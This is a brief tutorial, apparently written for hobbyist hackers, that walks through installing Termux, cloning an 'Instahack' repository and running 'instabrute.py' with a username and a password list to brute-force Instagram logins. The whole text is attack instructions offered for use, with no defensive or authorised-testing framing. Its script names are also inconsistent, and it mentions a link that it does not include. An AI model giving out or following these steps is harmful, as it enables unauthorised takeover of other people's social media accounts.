Step 1:- Download Termux from playstore
Step 2: Open termux and type this.
First install all the required modules
$ pip install argparse requests PySocks asyncio proxybroker
$ pip install beautifulsoup4
$ pkg install git
$ pkg install python
$ pkg install python2
Step 3: Install this tool
$ git clone https://github.com/avramit/Instahack.git
STEP 4:-
$ cd Instahack
$ ls
$ chmod +x hackinsta.py
$ ls
$ python instabrute.py USERNAME PASSWORD_FILE
//Example: "python instabrute.py username passwords.txt"
NOTE:- if you don't know what is password list and how to create passwordlist then check given below link.
When password found this process will stop automatically.
NOTE: This process take time depend upon your password list.